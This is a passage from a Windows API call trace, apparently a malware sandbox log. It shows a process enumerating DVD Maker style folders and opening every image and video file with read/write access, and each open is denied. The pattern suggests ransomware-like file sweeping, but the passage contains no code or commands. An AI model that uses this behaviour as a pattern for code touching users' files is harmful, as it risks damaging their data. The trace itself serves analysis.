Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.423] GetLastError () returned 0x5 [0180.423] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e4fd82, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e4fd82, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49eb515f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2279e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainToScenesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0180.423] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.423] GetLastError () returned 0x5 [0180.423] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ec2199, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ec2199, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49edb2bd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2666c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyNotesBackground.wmv", cAlternateFileName="")) returned 1 [0180.423] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.423] GetLastError () returned 0x5 [0180.423] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f345b0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70f345b0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49edb2bd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2666c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyNotesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0180.423] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.424] GetLastError () returned 0x5 [0180.424] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f5a70d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70f5a70d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f0141b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2472c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyScenesBackground.wmv", cAlternateFileName="")) returned 1 [0180.424] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.424] GetLastError () returned 0x5 [0180.425] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f8086a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70f8086a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f0141b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1e96c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyScenesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0180.425] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.425] GetLastError () returned 0x5 [0180.425] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70fa69c7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70fa69c7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f0141b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="LightBlueRectangle.PNG", cAlternateFileName="")) returned 1 [0180.425] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\LightBlueRectangle.PNG" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\lightbluerectangle.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.425] GetLastError () returned 0x5 [0180.425] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70fccb24, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70fccb24, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f27579, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MainMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0180.425] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\MainMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\mainmenubuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.425] GetLastError () returned 0x5 [0180.425] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7103ef3b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7103ef3b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf63, dwReserved0=0x0, dwReserved1=0x0, cFileName="navSubpicture.png", cAlternateFileName="")) returned 1 [0180.425] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\navSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\navsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.426] GetLastError () returned 0x5 [0180.426] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70fccb24, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70fccb24, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f27579, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1197, dwReserved0=0x0, dwReserved1=0x0, cFileName="nav_leftarrow.png", cAlternateFileName="")) returned 1 [0180.426] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_leftarrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_leftarrow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.426] GetLastError () returned 0x5 [0180.426] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ff2c81, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ff2c81, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f27579, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="nav_rightarrow.png", cAlternateFileName="")) returned 1 [0180.426] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_rightarrow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.426] GetLastError () returned 0x5 [0180.426] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71018dde, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71018dde, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1068, dwReserved0=0x0, dwReserved1=0x0, cFileName="nav_uparrow.png", cAlternateFileName="")) returned 1 [0180.426] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_uparrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_uparrow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.426] GetLastError () returned 0x5 [0180.426] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71018dde, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71018dde, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1068, dwReserved0=0x0, dwReserved1=0x0, cFileName="nav_uparrow.png", cAlternateFileName="")) returned 0 [0180.426] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0180.427] GetProcessHeap () returned 0x990000 [0180.428] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9ffc78 | out: hHeap=0x990000) returned 1 [0180.428] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab67eab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa15a10e8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyGirl", cAlternateFileName="")) returned 1 [0180.428] GetProcessHeap () returned 0x990000 [0180.428] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x7a) returned 0x9b0940 [0180.428] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab67eab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa15a10e8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0180.448] GetProcessHeap () returned 0x990000 [0180.448] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0180.448] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab67eab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa15a10e8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0180.448] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72858c15, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72858c15, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xab3, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-background.png", cAlternateFileName="")) returned 1 [0180.449] GetProcessHeap () returned 0x990000 [0180.449] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x27c) returned 0x9ffc78 [0180.449] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.449] GetLastError () returned 0x5 [0180.449] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72858c15, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72858c15, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-highlight.png", cAlternateFileName="")) returned 1 [0180.449] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.450] GetLastError () returned 0x5 [0180.450] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7287ed72, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7287ed72, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fbfaf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x60f, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-image-mask.png", cAlternateFileName="")) returned 1 [0180.450] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-image-mask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.450] GetLastError () returned 0x5 [0180.450] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72832ab8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72832ab8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fbfaf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4c15, dwReserved0=0x0, dwReserved1=0x0, cFileName="babypink.png", cAlternateFileName="")) returned 1 [0180.450] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\babypink.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\babypink.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.450] GetLastError () returned 0x5 [0180.450] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x728a4ecf, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x728a4ecf, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fbfaf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xcc1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1 [0180.450] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.450] GetLastError () returned 0x5 [0180.450] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x728cb02c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x728cb02c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fe5c4f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2c432, dwReserved0=0x0, dwReserved1=0x0, cFileName="bear_formatted_matte2.wmv", cAlternateFileName="")) returned 1 [0180.450] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.451] GetLastError () returned 0x5 [0180.451] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x728f1189, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x728f1189, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a058069, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2c44a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bear_Formatted_MATTE2_PAL.wmv", cAlternateFileName="")) returned 1 [0180.451] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.451] GetLastError () returned 0x5 [0180.451] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729172e6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729172e6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a351bc1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x39ef2, dwReserved0=0x0, dwReserved1=0x0, cFileName="bear_formatted_rgb6.wmv", cAlternateFileName="")) returned 1 [0180.451] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_rgb6.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.451] GetLastError () returned 0x5 [0180.451] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729635a0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729635a0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x41c0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bear_Formatted_RGB6_PAL.wmv", cAlternateFileName="")) returned 1 [0180.451] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.452] GetLastError () returned 0x5 [0180.452] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729af85a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729af85a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-back-static.png", cAlternateFileName="")) returned 1 [0180.452] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-back-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.452] GetLastError () returned 0x5 [0180.452] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729af85a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729af85a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-next-static.png", cAlternateFileName="")) returned 1 [0180.452] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-next-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.453] GetLastError () returned 0x5 [0180.453] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729d59b7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729d59b7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xe0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-previous-static.png", cAlternateFileName="")) returned 1 [0180.453] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-previous-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.453] GetLastError () returned 0x5 [0180.453] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729d59b7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729d59b7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, 